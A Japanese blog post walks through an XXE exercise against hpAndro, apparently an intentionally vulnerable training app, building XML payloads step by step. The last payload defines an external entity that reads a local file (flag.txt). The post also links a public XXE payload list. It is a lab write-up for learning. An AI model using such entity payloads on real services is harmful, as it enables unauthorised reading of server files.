Shikata Ga Nai

Private? There is no such things.

hpAndroのXXEをやってみた

Hello there, ('ω')ノ

 

Androidといっても、モバイルアプリに特化した脆弱性ではないので。

これまでとは、やり方は同じでして。

 

f:id:ThisIsOne:20211203171756j:plain

 

NameとIDを入力して。

 

f:id:ThisIsOne:20211203171931j:plain

 

リクエストでパラメータを確認してからリピータへ。

 

f:id:ThisIsOne:20211203152245p:plain

 

まずは、empidを変更できるかを確認してから一歩ずつ。

{"data":"<emp><empid>10733</empid><uid>a</uid><uname>a</uname></emp>"}

 

f:id:ThisIsOne:20211203171217p:plain

 

下記から、XXEのペイロードを。

 https://github.com/payloadbox/xxe-injection-payload-list

 

f:id:ThisIsOne:20211203170814p:plain

 

ここもXMLに慣れるまでは、ひとつひとつ追加していくことに。

どうやらダブルクォーテーションをエスケープしないといけないようで。

{"data":
"<!--?xml version=\"1.0\" ?--><emp><empid>10733</empid><uid>a</uid><uname>a</uname></emp>"}

 

f:id:ThisIsOne:20211203171049p:plain

 

次のステップへ進むために別のペイロードを。

 

f:id:ThisIsOne:20211203170606p:plain

 

変数に代入できる構文が正常に動作するかの確認を。

当然ながら、結果は同じなわけで。

{"data":
"<!--?xml version=\"1.0\" ?--><!DOCTYPE replace [<!ENTITY example \"Doe\"> ]><emp><empid>10733</empid><uid>a</uid><uname>a</uname></emp>"}

 

f:id:ThisIsOne:20211203170959p:plain

 

次に代入した変数を表示させることに。

{"data":
"<!--?xml version=\"1.0\" ?--><!DOCTYPE replace [<!ENTITY example \"Doe\"> ]><emp><empid>&example;</empid><uid>a</uid><uname>a</uname></emp>"}

 

f:id:ThisIsOne:20211203170722p:plain

 

最後に目的のファイルを取得するようにして。

{"data":
"<!--?xml version=\"1.0\" ?--><!DOCTYPE replace [<!ENTITY example SYSTEM \"file:///home/hpandro/flag.txt\">]><emp><empid>&example;</empid><uid>a</uid><uname>a</uname></emp>"}

 

f:id:ThisIsOne:20211203170541p:plain


Best regards, (^^ゞ